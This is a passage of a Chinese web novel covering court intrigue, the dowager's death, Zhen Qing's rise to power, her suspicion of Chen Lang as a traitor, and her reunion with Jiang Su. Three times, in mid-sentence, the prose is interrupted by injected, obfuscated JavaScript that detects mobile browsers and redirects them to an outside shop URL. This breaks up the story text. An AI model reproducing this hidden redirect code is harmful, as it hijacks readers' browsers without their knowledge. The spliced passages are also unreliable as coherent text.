听到这话,云行野更是没有放下心来,提起担忧道:“长安?他在长安,长安岂不是要被他掀翻了?沿溪是否知道这件事,你和她说了没有。” 自从上回的几封信件未回,江诉不知道究竟是有意不想回,还是没有看到,抑或是被人在半路就堵截了。 他并没有明确地提及陈琅与商震的事情,反倒是把信件都送到盛松言那边,叫应钰代为传达,或许比直接送到长安更为安全。 一时间的沉默,叫云行野发觉除了不对味来,他面露茫然无措,忽地寒颤,只能祈求枕清可千万别被陈琅耍得团团转。 几经曲折,突然的转折口,仅仅也只是让云行野一人心神不宁。眼下河东还在兵荒马乱,他们也别无他想,只能先将此地调整好。 齐离弦与阿之奎相处甚久,知道阿之奎的计谋,而她也能极好的应对。两方交战,是在一个恶劣天气之中,所有人都冷得发颤,就连动作也难以施展开来,就差没有将人晕了过去。 齐离弦占据制高点,她站起身来,举目对望,只能见到冲上来的安南军厮杀的声音刺得她眼疼,目光所至之处,都是明甲晃眼,再抬手一看,唇瓣已是苍白,手中生起了冻疮,所有人都只剩下殊死搏斗的悲怆。 双方都知道这一次是最后一战,染上了无尽的哀伤。 齐离弦坐于马上,她手持长矛,连斩数人。阿之奎也连杀了多人,他们在各自的阵营之中相互厮杀,仿若就在彼此的心中刺上一剑又一剑,从前眉梢一抹恣肆,再也见不到。 往日种种似梦似幻,仿若就在前日,白雪寒光,一望无际的原野又在眼前,他们走过无数条路,这即将是最后一条,厮杀声渐渐将两人阻隔,再也没有归途。 齐离弦拿起弓弩,箭矢快如陨石坠落,飞快地弹出,射进了阿之奎的胸膛。阿之奎面色一凝,他恍惚地垂首,却没有看向箭的来处。 第二支箭矢再次弹出,利箭嗡鸣,对准连发,几乎招招都是朝着他的命去的,阿之奎忍着痛色,抬手连斩多人,可那箭矢仿若长了眼睛,擦着他肩膀而过,他再也抬不起那只手臂,他唇瓣溢出些许释怀。 阿之奎终于支撑不住,他撑着剑,半跪在地上,而那人见他倒下,忽然收了手。 他这才缓缓看向箭的来处。 原来真的是她要射死自己,阿之奎心想。 在最后一眼的尽头,有一道快刀砍瞎了他的双眼,而阿之奎完完全全地倒下,再也没有起来。 最后一刻,我躺在冰冷的湿地里,想她抱我,却只看到一片黑暗,这应该是我最后的归宿了吧。 这一夜,齐离弦睡了醒,醒了睡,寒风呼啸,叫人不得安宁,恍惚中,无数风雨骤然而下,而她在这样恶劣的天气之中,艰难入睡。 翌日一早,门外有人敲门,她慢慢站起身开了门,昨夜竟然下了一场大雪,漫天雪地,仿若看不见第二种颜色。 她垂首看着门前有一只受伤的红狐,她将其抱在怀中,抬步走向不远处的人群,江诉与云行野见她面色苍白,眼底泛起一团青色,好似丢了魂魄。 心中皆是一动,却都没有开口。 他们不知道齐离弦在说谁,所有人只听她轻声道—— “我抱着他,他好轻啊。” 114. 山高水远浪天涯(一) 长安城内一片静谧。 漫天的飞雪搅得人心烦意乱,抬手看向白茫茫的一片,竟也瞧不出一点光来。 黑云沉沉,没有一丝生机。 枕清面色苍白,她伸出葱白的手指陇了陇身上的衣服,这才漫不经心地看着大监慌张的神情引着枕清前去,越过长廊,走进大殿之内,满殿的人自觉地让开一条路来,使枕清走在最前端。所有人默默注视枕清微微屈身探去,见一人跪下,所有人皆是诚惶诚恐地跟着齐齐跪倒,颤颤巍巍地看向床榻已经久病之人,以及这位极其让太后殿下看中的女郎。 在这宫中,极少人知晓枕清的身世,大家都以为她横空出世,幸得太后殿下照拂。只是没想到事情不按照他们所预期的那般发展,竟也叫这个无名无份的女娘把控着朝廷内外。 这段时日太后殿下病倒,枕清的动作更是雷厉风行,不仅让太后身边的师坤尧与罗长观听之任之,甚至连朝廷中一直表示中立的许家也向她示好。仅是如此,也便罢了,可就连太傅易为之都朝她行礼。 众人的心思逐渐远处,都看向枕清,而枕清的思绪早已经凌乱,事情发展到这般模样,是她从未预料到的。 自从禹王逝去,太后的身体每况愈下,俨然到了没有办法把持朝政,批阅劄子的地步,仿若只要有一个人出现,能接住她手中的事情,她就能撒手人寰。 而在此时出现的枕清就成了一个“倒霉蛋”,也可以称作为“幸运儿”,是旁人艳羡不到的殊荣。 枕清也疑惑太后殿下为何独独选了她,直到太后殿下说出自己与禹王、先皇三者的关系,枕清才明白,原来是因为禹王的原因,所以给了她几分怜悯,给了她旁人从未站过的高度,而这怜悯在这大厦将倾中变成裹挟的压力,这无所适从的高度变成了枕清独有的束缚。 太后看出枕清的不满,甚至隐隐有对抗之势,她拖着疲乏的身子深深望着她,语调沉缓: “枕清,我选你绝不仅仅是因为禹王,更不是因为对枕家有愧,是因为你与我一样,我们都是女子。现如今朝局虽然在我的掌控之中,可是世人总是对女子颇有偏见,觉得我们目光短浅,难以堪当重任。可我们真的不如那些男人吗?我不信,我相信你也不信。 “所以从我开始,到你这里,再到这世间万千女子之中,总会有我们的一席之地。女子可以不被束缚于闺阁之中,可以科举;成事不必依附于男人,拘泥于宅院;更不必为了生存,仰人鼻息;为其蝇头小利去与之争风吃醋,蝇营狗苟的磋磨一生。纵然世道艰难,我们也一定要有旁人未有的意识,更不能轻言放弃适逢其会的权力。” 她说到最后,好似有些说不动了,她忽而呕出一大片血,望着枕清的神情带着长辈中的不忍,却又久居高位者的强悍,她沉沉阖眼,不忍望看,她继而狠厉道: “你要答应我不让大启陷入外邦手中,会稳固朝局。若违此事,你身边的至亲好友终其一生不见平安,死时不得善终;你至亲至爱永生永世不得所爱,身与名俱灭;而你被朋友欺骗,被家人抛弃,被爱人厌恶,一生伶仃,苟且偷生,受人眼色,以卑微之躯妄想求存,最后却被一群罪大恶极的小人审判赴死......” 这样的毒誓,纵谁听了都觉得残忍恶毒,枕清身形摇晃,冷笑地望着她道:“殿下真是好手段,前方的义正言辞让我几欲落泪,后边的毒誓令我心中大恸,你口口声声说为了世间女子,那么我想问殿下,这其中的女子到底有没有我?” 太后忽地抬眼,顾向枕清的冰冷的神色中,心中顿时冷意渐起。 她没想过枕清。 枕清垂眸看着太后一副快死的模样,嘴角勾勒出苦涩的笑容:“你从来都没有问过我究竟愿不愿意,殿下或许真的不太了解我,我这人最讨厌别人逼着我,我依旧是那句话,我不愿意。” 终是太后妥了协,她喃喃道:“你就当救救大启,想想禹王......” 许久后,没有得到枕清的回应,她眼角泛起泪花,以前的她也不是这样的,怎么到了这个年纪,这个位置,一切都变了。 她好像再也不是如花似玉的女娘,而是万人嫌恶的毒妇太后。 明明也有那么明媚如春光的年少时候,只可惜她也变成了自己最讨厌的模样,她轻声说:“是我错了,我不应该这样,他到死都希望你平安快乐,我也希望你如愿以偿。枕清,你走吧,出宫吧,再也不要回来。” 枕清并不是真的会放任大启分崩离析,只是她不喜欢这样的花嘉颂,以及这样的方式。 她听罢,转身出了殿门,却被门口所站着宁千渝搅乱了心神,她慢下脚步,没有疑惑,没有质问,回首去看床榻之人,那人俨然行将就木之相。 日薄西山,承天门宵禁的钟鼓声敲响。 这一次,太后赌赢了,赌赢了枕清的心软。 枕清的脚步重新迈回了大殿之内,她冷声道:“我会做我力所能及的事。” 这一日,太后殿下是清醒的,她察觉到枕清还没有正当的身份,当即下令空降了一个绝无仅有的头衔,让枕清做到监察百官的重任。 枕清明白,自己一旦坐上这样的位置,她就再也没有回头路了。 先前她迟迟没有答应,是为了能与江诉隐居,远离纷争,可一旦踏入朝局,她势必要得罪许多人,即使日后放手权势,也难保全身而退。 她神情凝重恍惚,她好像又对江诉食言了。 可是她嘴角轻轻一笑,并没有惧怕,江诉会理解的。 希望大启升起的日月照亮世间每一处暗香。 殿内的花嘉颂依旧迷离,殿外纷飞的白雪未停,屋内乌泱泱一群人盯着枕清的背影,暗自琢磨。 朝廷的党派关系本就错综复杂,更不论去信服一个女人。可是枕清楚的关系比他们想象中的要更多,她不仅提携了大理寺里的万思与花明,更是直接让包启元坐上了鸾台,还将盛松言调回长安,坐上了中书省的头把交椅。 如此几经波折,朝堂竟然有一大半的人都归属于枕清那边,更遑论当初太后与禹王留下来的人。 太后殿下已经到了病情沉笃的地步,她半梦半醒中,又看到了枕清,她缓缓抬起手来,想要如同长辈般轻轻抚摸枕清的面颊,却发现自己怎么也使不上力气,她只好退而求其次,稍稍抓住枕清的衣袖。 枕清面无表情地看着她,为首的侍女轻轻推了推枕清的手臂,让思绪飞走的枕清微微一愣,她旋即反手抓住太后殿下的手腕,宛若最亲密的人,微笑着问:“殿下,你想说什么?” 现如今的花嘉颂早已经糊涂了去,她什么都记不清,记清的时候,也早就把所有事情交代清楚。 她的目光迷离,恍恍惚惚地想在这一生,无论是文征还是祉郢,他们注定要留在她的记忆里,用“我喜欢你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996864|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终不负你”这个利用哄骗自己一生了。 花嘉颂张了张唇瓣,却没有人听见声音,枕清俯身,她究竟是在想着谁,是错过的禹王,还是陪伴十余载的先帝。 枕清启唇问:“殿下说什么?” 皎月浮于眼前,一切过往皆是思念。虽已失去,仍见那春风吹动的缠绵。 花嘉颂虽笑着,却说:“我想回家,我想哥哥了。” 枕清浑身一颤,她逐渐感受到手中的人全身僵硬,犹如冰块般冷,她也被冻住了,竟然没有回过神来。 直到身旁的宁千渝提醒她,枕清刹那回过味来,她立即站起身,跪在太后殿下的床榻边上,旁边的大监眼疾手快地露出悲哀的神情,尖锐的声音传遍整个宫殿。 “殿下薨了。” 满殿顿时发出一阵嘤嘤哭泣声,格外悲痛,好似有什么东西在一点点碎掉。 太极宫的承天门的高阁之上,震慑的鸣钟,响彻整个耳际,叫人长久浸在哀恸之中,久久不能回神,她抬头看向外边的天色,下起大片的雪花,她如同提拉着的木偶,僵硬地问宁千渝:“准备好了吗?” “一切妥当。”宁千渝道。 大监发出哭泣的声音,好似才想到什么,他小心翼翼问道:“枕大人,殿下究竟说了什么?” 枕清缓缓站起身,两侧的侍女见状,当即扶稳了枕清的身子,枕清一副沉浸在悲痛万分的情绪之中,道:“殿下命我辅政,也留了旨意,照旨意宣读吧。” 世人皆知圣上是为傀儡,前段时间说裴凌云的孩子裴聿怀在郁华隐手中,不少人觉得枕清这是要么要挟圣上,要么就想把控裴聿怀。现如今谁也不知道枕清是如何想的,只知道枕清是有绝对的话语权。 大监宣读的旨意还没有开始,外边的人忽然难受道:“圣上在回宫的途中遇刺,如今性命堪忧!” 所有人倒吸一口凉气,当即要指着枕清骂:“你真是个恶毒的女人,居然敢谋害圣上!” 枕清目光犀利地看着那个人,她嘴角勾出轻蔑的笑容,眼神渐深,仿若掉进一个深渊之中,叫人不敢直面。 “哦?何以见得此事是我做的?凡是都要讲究一个证据,倘若凭借一张嘴就能污蔑人,那还要大理寺与刑部何用?!”枕清冷声道,“你隶属刑部,怎得会如此说话?凡事竟不经脑子,我看你也是年纪大了,糊涂了,辞官回乡吧。” 被讲的官吏面色苍白,呼吸一顿,他指着枕清,半晌没开口。 杀鸡儆猴的事情,这位女娘做的可不少,现如今的手段已是手下留情。所有人都不敢多言,最后登基的人也只能是这个极其容易把控的裴聿怀。 所有人都沉默无言,却也默认了这样的行径。 举国哀痛,郁华隐经过此次,终于能堂堂正正地牵着裴聿怀走进皇宫之中。 其实枕清知道圣上不死,郁华隐定无翻身之力,可即便如此,她也没想过动手杀了圣上,此次的行径所有人都觉得是枕清下的毒手,但枕清并没有暗中让任何人去刺杀圣上。她曾怀疑过是否是郁华隐,可郁华隐在长安之中并无势力,自然不可能是她有所动作。 这人看似是在帮着枕清,其实是将一切苗头都对准了她,毕竟所有事情是她坐上了渔翁之利,大家一定认为是她。 既然如此,那便让所有人都觉得她手段残忍恶劣,恐惧于她的动作,坐实这个恶人身份,倒也无妨。 115. 山高水远浪天涯(二) 太极宫的灯火未灭,枕清坐于桌案前,看着手边的劄子,一份份都是明里暗里讽刺她的,她唇瓣勾起嘲讽的弧度,简直可笑。 告状告到她这里,不知死活。 她倒也没让着,直接批注上,若是真感念先皇与太后,特允诸位辞官,为其守灵三年,以表忠心。 那群老头看到后,想必都要呕得吐血。 未几,她的目光落在最后一本劄子上,那是秋迹写的,说想问一问盐商的事情,枕清一时间还没回过味来。河东已经取胜,江诉他们凯旋,肯定要在河东盐池好好回一回空虚的国库。 只是着秋迹真的不知道,她就是枕家女,而他竟敢不避开她,甚至还能安然无恙地看着她身居高位。 究竟是心太大,还是说,他仍处于不知道的位置。 并非是秋迹不知道,而是知道了也无可奈何。 秋迹看着为首的沈昌砥,他心下不禁开始担忧了起来,他问道:“现如今朝廷竟让一个女子把控,简直是不可理喻!偏偏那些全都听她的,倘若是收拢,恐怕是难。”他苍老的目光匿出精光,“不过我听说江诉要回来了,他与云行野手中掌控不少人马,倘若我们将其收拢,是不是就有回旋抗衡的余地?” 听了一会的谢冠,他呵呵一笑道:“你也不必担忧,我手中还有兵力,前段时间二郎替我寻回来兵符。不过这江诉恐怕是难以拉入我们这边,之前还在朝中,他就一直在太后与禹王跟前斡旋,沈阁老是何想法?” 包改常瞧了这一周的人,忽而觉得有些说不上话,自己的孩子包三郎与枕清关系极好,甚至坐到的位置隐隐有超过自己的势头。倘若枕清是一个明主,那么包启元的选择没有错,但是自己可就没办法完完全全站与这群人一道。 很早之前,他便已是知晓三郎为人善良热枕,心思粗犷,不懂得察言观色,难以在朝中立足,况且他说话向来直来直往,没个轻重,更不懂得如何迂回玩转,倘若没有他这个做父亲的撑着,势必要栽一个大跟头。原以为一辈子就这么过去了,可是他是真的没有想到三郎会走到如今的地步。 他包改常有三个孩子,而包启元是他最小也最疼爱的孩子,自然是不愿意他受到一丝一毫的伤害。 他心中思绪万千,终是没了出口。 直到秋迹唤了唤他的名字,包改常这才笑着道:“秋公请讲。” 秋迹别有深意道:“你家那位三郎可谓是意气风发,深得那上头的喜爱,不知道包公作何感想?” 包改常笑得乐呵,惭愧道:“我倒也没什么感想,就期望膝下的孩子能够平安快乐,你们也知道我家三郎不喜读书,也没什么真本事,就是依靠这股东风,幸得贵主瞧上,倒也不是我贬低他,这段时日,这股风就算是吹头猪,那猪都能上得去。” 众人听到这半是玩笑半是打趣的话语,纷纷大笑。 这一番话,竟也有点将包家与枕清撇得清楚干净。可他们在朝中都是几十年的老狐狸,一言一行,想要琢磨出什么味来,都能一清二楚。 不过聪明人都不去说得那么明白,沈昌砥也跟着笑后,瞧了一眼包改常,慢慢道:“坐上去不重要,坐得稳当才重要。” 包改常垂首道:“沈阁老说得是。” 谁也不知道这后边谁能坐得稳,谁又坐不稳。 或许说的不只有包启元,还有在上头的枕清。她太过醒目,底下有成千上万双眼睛盯着她如何掉下来。 包改常垂眸沉思,一回到家中,唤了包启元过来,关上房门,语重心长地问他:“三郎,你是不是跟定枕清了?” 包启元在家中还是颇受照顾,在他们眼中俨然是一副小孩模样,可是这么几年的成长,并非是如此顽劣不堪,一副什么都不懂的模样。 倘若是在几年之前,他的确茫然无措,可自从陈谷离开后,他发觉自己学到了前所未有的东西,包启元镇定道:“耶耶,朝中党派复杂,一步踏错便是万劫不复,可是身在局中,每个人都是被裹挟着走的。想要不被影响,绝无可能,我们只能顺着洪流而上,我知晓您不放心枕大人,但是我作为她的好友,作为朝中的一员,我信。” 包改常居然在包启元眼中看到前所未有的倔强果断,即使他这个父亲不去跟枕清,那么包启元依旧不会改变想法,他还想规劝他们只要姓包,那么就是一体的,无论是做错还是对,付出的代价都是一样的。 在下一瞬,包启元又开口,语气无比坚定:“就像她信我一样,我也信她。” 几乎在这一刻,包改常的心绪不禁跟着震颤。起初他也想不明白枕清究竟有何魅力,竟叫太后殿下,禹王底下的人各个对她甘之如饴,甚至比当初的太后殿下更甚。 作为父亲的他也不相信包启元能坐上这样的位置,总归觉得缺点什么,也觉得资历尚浅,需要再磨练。可又有很多东西,会在时间的磨练中消失,就好比现在,他没有足够大的勇气,足够坚定的内心,总要瞻前顾后,可三郎有,有一往无前的勇气,也有身在其位的责任。 而敢用他的枕清也有,肯给新的人机会。 他们这群人终将会老去,而这些新出茅庐的郎君娘子,会是这个世界新的力量,一代传承一代,一代连着一代,终不会覆灭。 他望着已经长开的包启元,宠溺笑道:“这天下究竟是你们年轻人的天下,耶耶知道了,耶耶也信你。” 信任这件事难得,却也不是得不到。 枕清倚靠着凭几,慵懒的坐着。 宁千渝见枕清还在深想,她轻轻替枕清按压。 枕清感受到手中的力量,她微微一笑道:“当初我有意让你去死,你是真的心甘情愿去做这件事吗?” 宁千渝想要停下手中的动作,可是见枕清仍旧是难受的模样,她手中动作未停,坚定道:“为了贵主,我万死不辞。” 枕清今日穿着曳地的月华长裙,熠熠流光随身摆动,她缓缓睁开眼睛,道:“几年未见,你的性子倒是一点没变,看起来柔弱,脾性倒是一如既往的刚毅,那么我问你,几日氏族大家没有反抗我,这是为何?” 落进了枕清的神色之中,宁千渝心绪漏了一拍,她当即下跪,可又觉得枕清不喜欢这样的自己,于是无措地站在一旁,轻轻摩挲自己的衣袖,强作镇定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她伸手接过,看向最开始的那几封信件,只是说了一句很平常的话,跟家常一般。她慢慢往下翻开,看到了商震与北肆野离世的消息,她瞬间觉得一股巨大的悲怆直击心中,但她好像哭不出来,可是心里却极其难受,难受到她仿若是快要死了。 枕清紧紧攥住纸张上的一角,她沉沉吸了一口气,接着往下看。 最后一张只有一字——杀。 那杀字包含着凌厉,手段干脆利落,字迹不是江诉的,也不是旁人的,她总觉得好像在哪里见到过,却又完全想不起来。 至于其他的,一切都只能等江诉回来再做定夺。 枕清这段时间忙得头昏脑涨,幸而郁华隐擅长朝中事务,她得以有那么一丝喘息的时间,可是她依旧不敢让自己停下来,仿若停下来就会想到很多事情,将自己搅得心烦意乱。 她又看了看殿下安葬的日子,却见到了陈琅。 多日不见,他好像变得更消瘦了一些,可这般变化没有枕清变得多。原本就清瘦的身形恰似薄成一片纸,整个看起来十分萧条,就好像经历了太多事情,变得越发沉稳练达。 可身子骨确实越来越弱了,好似积劳成疾,比在河东时候更为弱柳扶风。陈琅心想,却也只是面无表情地行礼,仿若是从未相识的过路人。 116. 山高水远浪天涯(三) 枕清的目光落在他身上,这段日子如此大的风波,无论是身为皇城天师,抑或是行商,定是听说了朝中的那些事情,所以这才与她相隔甚远,没有故意拉近距离的意图。 见陈琅行礼,旁边的人也敢忙朝枕清见礼,枕清略微颔首,目光只落在陈琅身上,她缓缓道:“天师?” 陈琅知道有旁人在,不好与枕清有亲近之态,他恭敬道:“是。” 枕清现如今都已经到了我行我素的地步,她没有特意撇开两人的关系,略过旁人留意的目光道:“何时回来的?” “不久前。”陈琅索性也不装了,“你怎的这般瘦了?这皇宫也不是会少你吃喝的地方,还是说这阵子太过忧思了?” 这仿若是在说废话。 现如今本就是内忧外患,太后薨逝,新皇登基,朝中的党派都被好好洗了一番,却发现难以动辄到根基,又知晓到师傅与叔父的离世,一时间,好像就连悲伤的情绪都调节不过来。 枕清默默想着,她嘴角提起淡淡哀伤道:“陈无极,我师傅死了,北叔父也死了。我还找不到阿姐,我心里难受,能找你说说话吗?” 陈琅心中不禁一颤,他的视线在枕清面上停留,不知道是想看出点什么,还是惧怕看出点什么,他讪笑道:“好。” 自旁人看来,两人都极其亲近,甚至有些过分地好了。可只有他们两人才明白,这不是什么亲近的表现,他们两人都是情绪不外露之人,倘若真的外露,只是需要这股情绪,抑或是这样的神情以达到某种目的。 他们两人果真是太相熟了。 陈琅深深垂下眼睑,亦步亦趋地跟在枕清身后。重活两世,枕清对于皇宫内的路都已是极为熟悉,每走一步,都像是踩在自己所知道的领域之中。可是这皇宫这么大,宫内的人那么多,又怎么能毫无遗漏? 她推门进入大殿之上,身形拖曳着厚重的裙摆,缓步走至殿内中央,那里有一盘未下完的棋局,可枕清的步伐从棋盘掠过,径直走到了梨花木的桌案旁,目光落在慢她一步的陈琅身上,笑着道:“我要你替我写一个字。” 陈琅也跟着笑,心中却不免有些许慌乱,他依言坐下,抬首望着枕清,温和道:“何字?” 枕清微微俯身,腰间香囊的气味掠过他的鼻尖,垂挂的穗子擦过他的脖颈,激起丝丝点点的痒意,他刚想要抬手去抚摸,可有另一只手的动作更快,拉过他的思绪与目光,枕清倾身点了点那平铺开来的宣纸,道:“杀。” 她的声音温柔动听,可说这个字极为凌冽,就好像是知道些什么,陈琅依旧感知脖颈游荡的动作,在这锐利的声音里,竟也不能将这股情绪消散到荡然无存。枕清缓缓站直身子,目光低垂,她再次开了口:“陈琅,我要你写杀字。” 陈琅的手微微顿住,他抬手摸过脖颈,发现痒意一直存在,他压抑喉中的苦涩,笑着抬头,对上枕清胁迫地挑眉,陈琅没有担忧,他嘴角一翘道:“你这是在怀疑什么吗?你不是说你信我吗?枕清。” 他的每一句话都咬得极轻,就好像是含在舌尖,也像是苦味回甘。 现在枕清对上他那双漂亮的桃花眼,仿若自己在做一个错误的决定,那双眼睛逐渐泛起红晕,如同晃荡在水中,她整个人漂浮在半空之中,俨然有溺水之势,可身前的陈琅,恰似知道无法反抗,静静等待着死亡。 察觉到自己的情绪正在被陈琅牵引,她敛眸,忽而沉声道:“我说我信你,但你现在又在担忧什么?不过是让你写个字而已,能让你这么为难吗?”枕清蹲下身子,平视陈琅,“我们是这个世上最熟悉彼此的人,所以,陈琅,你不要妄想着骗我。” 良久后,枕清妥协了,她坐在蒲团上,没有逼着陈琅。 陈琅默了一瞬,不知道是想到了什么,他轻笑出声道:“你怎么变得这么容易妥协,你要我写我就写,我听你的。从小到大,我哪一次没有听你的?只是我没有想到,你到现在都还在怀疑我,是不是我真的得把心刨开来放在你面前,你才能真的相信......”他见枕清眉梢一凝,他发觉自己失言了。 他哀叹一声:“你帮我研磨吧,我给你写,要是错过了今日,那么就过期不候。” 枕清拿着墨条在墨盘上转了两圈,便停了手,陈琅见状也没有责怪,他无奈道:“罢了,反正你对我向来没有什么耐心。” “就一个字,你还想让我磨多久?”枕清丝毫不让着。 陈琅瞧了瞧说得如此理直气壮的枕清,嘀咕道:“谁能说得过你啊。”陈琅写完一个字,特地换了另一只手写。 枕清小时候见过陈琅的字迹,比儿时更为端正漂亮,不是那张纸条上的字迹,她沉思道:“陈琅。” 陈琅不解:“嗯?” 她一时间不知道该说什么,好似这些事情没有什么好说的,她也难以跟陈琅说出口,她轻轻道:“你走吧。” 如果江诉在这里,她一定会飞奔到江诉怀中,告诉江诉,自己真的好害怕,害怕自己身边的人一个个都离开。 长期积压的情绪,招致枕清心中郁闷更甚,甚至到了每日每夜都难以入睡。 陈琅走在前边,他回看失魂落魄的枕清,他当然明白枕清心中所想的是什么,枕清在害怕,但是不愿意把害怕与怯弱袒.露在他眼前。其实枕清说错了,他们很早就已经不是最熟悉的人,因为枕清不愿意告诉他。 他唇瓣弯起,回首道:“枕清,你变了。” 枕清看着身前的少年郎,慢慢变成了青年人,他们两人目光交错,在彼此的眸色中清楚明白,他们之间有了裂口,那裂口是无论怎样都填补不回来,仿若从陈琅要离开雷州的那一天、那一刻起,就已经注定了。 “我也变了。”陈琅摇头笑着出了大殿的门,这一次,他没有留恋地回头去看身后的人。 天空没有飘起白雪,微微的暖阳恰似有融化模样。枕清垂首看着陈琅所写的那两个字,她面无表情地掠过,走出殿门,与门口的大监道:“里面的东西,都烧了。” 她不由自主地开始抚摸手边的香囊穗子,见有人匆匆忙忙过来,向她禀告:“江诉将军回来了。” “这么快?”枕清恍惚一瞬,当即问道,“他现在在哪里?” 那侍卫垂首道:“太极殿。” 枕清嘴角勾勒出轻轻的笑容,她双脚踩在雪地之中,原本极为沉重的步伐因为江诉回来的好消息,逐渐变得轻缓雀跃。 她快步穿过长廊,遥遥望见太极殿前那人身穿绿色青衫,背影虽单薄瘦削,却不弱,独立雪山中,犹似雪中竹。 她提起裙摆,想要向前奔跑而去,可是快到了跟前,她又慢下脚步,每走一步,便离近江诉一步,她只是步伐放缓,却没有停下来。 江诉听到声音,他侧身望看,竟有一瞬间的恍惚,可在下一瞬,瘦了的念头出现在脑海中,不由自主浮出疼惜的感觉。 他没有一定要让枕清朝自己走来,他大步流星且克制地朝枕清迈去,枕清见人过来,她突然觉得自己的担忧有些多余,她笑着跑前,飞奔到了无比令她安详的怀抱之中,仿若在他怀中,一切漂浮都有了实处。 “我好想你。”枕清闷声道。 江诉顿时就知道枕清受了别样的委屈,他温柔问:“我也很想你,这一路上我听说了,你很厉害,也很委屈,现在我来了,有什么事情,我陪你担着。” 枕清将自己埋进江诉的胸膛之中,她不禁升起一点不自然地担忧道:“我们这样抱在一起成何体统,换......换个地方抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020007|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 江诉听罢,简直哭笑不得,他留意周围的人都看好戏地默不作声,巴不得他们两能拥抱得更久一些,他稍稍挡住众人的视线,令人见不到枕清的面容,在他放开的那一瞬间听到枕清叹气说:“不然,那些参我的劄子又要多几本了,我都想到他们会说什么世风日下,伤风败俗,阴阳怪气的可难听了。” 江诉听到是这样的原因,旋即一愣,他知道枕清坐上这个位置有多难,也一定受了许多委屈,他心中一痛,他嘴角勉强弯着,声音微冷:“谁这么说,把他找出来,让他去岭南好好去一去这么大的火气。” 枕清狡黠一笑道:“你也不必担忧,虽然他们说得不好听,但是我也没让着他们,经常把他们气得脸红脖子粗,易太傅看到我将对付他的那一套对付到旁人身上,你都不知道他朝堂上的表情有多高兴,就好像是我们在朝堂上搭了一个戏台子,他没有花钱就看了好几场好戏,从前让他上朝就说自己身子骨不行,现在赶都赶不走,说为国为民的。” 说到这些,枕清都有些泄气了,好在这些劄子分一拨给郁华隐批阅了,还有一部分倒是可以给江诉来。她左看右看,问:“就你一个人先回来了?” 江诉不知道枕清是否知道商震与北肆野已经逝世的消息,他也没想开口,于是轻轻嗯了一声,就着枕清牵引的动作往前走,温声道:“太想见你,就先一个人回来了。” 枕清也是那么猜想的,但她并没有问这样恶劣的天气,究竟是走了多少路,又换了几匹马回来的。她踏进自己的殿内,关上房门,踮起脚尖在他唇间落下一吻,见江诉没有任何反应,她继而又深入,江诉当即握住枕清的腰肢,让两人紧密贴合。 感受到江诉强有力的动作,她快呼吸不过来了,于是轻轻拍打了一下江诉,江诉感知到身前人的不满,他松开唇,只见枕清被摩擦成红色的唇瓣一张一翕,许久未合拢,他安静地等着,直到枕清想要出口,他再次倾身吻了上去,将枕清的不满全部吞入腹中。 反复几次,枕清被吻到腿脚发软,整个人只能靠在江诉身上,她还没缓过来,便听到江诉问:“想不想?” 枕清一瞬间就懂了,她感受到一股热流而下,她启唇抱怨道:“你都把我磨成这样了,你居然还问想不想,起初我觉得我不是一个好人,没想到你才是最坏的那一个。” 江诉轻笑一声,他没有反驳,只是再问了一次:“那么,你想不想?” 枕清臣服内心道:“我想。江诉。” 冬日的夜色暗得快,枕清这一处殿堂,灯火彻夜长明。 无尽压抑与痛苦哭泣声在今夜释放,裹挟着前所未有的恶劣,枕清咬上江诉肩膀,无声地在他胸前起伏,直到滚烫的热泪滴在江诉身上,他才发觉原来是枕清哭了。 江诉抚摸枕清的背脊,吻掉她面颊上的泪水,她滚烫的泪水化作无数根针朝他心中刺去,令他无所适从,也不知怎么安慰,只能按照本能一遍又一遍的安抚。 许久后,枕清闷哼一声,她哑着声道:“河东道的奸细,是不是陈琅?” 江诉望着枕清痛苦的神色,缓缓拨开她的发梢,道:“是。” 一切都尘埃落定,有了绝对的实处。 枕清一字一顿道:“江诉,我好痛。” 江诉怜惜地吻了吻她的每一处,问:“哪里痛?” 枕清指了指自己的心口,疼到竟发不出一丝声音,江诉看着她的难受,心疼地几近窒息,他紧紧将她拥入怀中,忽而生出前所未有的痛恨与无奈。 枕清闷声咬牙,身子不由自主地颤抖,硬生生挤出几个字,隐忍着哭腔道:“江诉,那可是我的师傅。” 是我的师傅啊...... 陈琅,你当真就这么心狠吗。 117. 山高水远浪天涯(四) 知道真相的枕清并没有第一时间去找陈琅对峙,她按照往常一样上下朝,直到罗长观告病不出,她才恍惚发觉,自己已经很久没有去找过罗长观与花明,于是亲自去探望。 江诉想要跟着与之同往,枕清拒绝了,现如今旁人没有得知江诉回来的消息,一旦知道,势必要先好好奖赏一番,可是其余的人还没有回来,断不可能先让江诉一人来,而且门下省还没有消息。 如此也打消了江诉的念头。 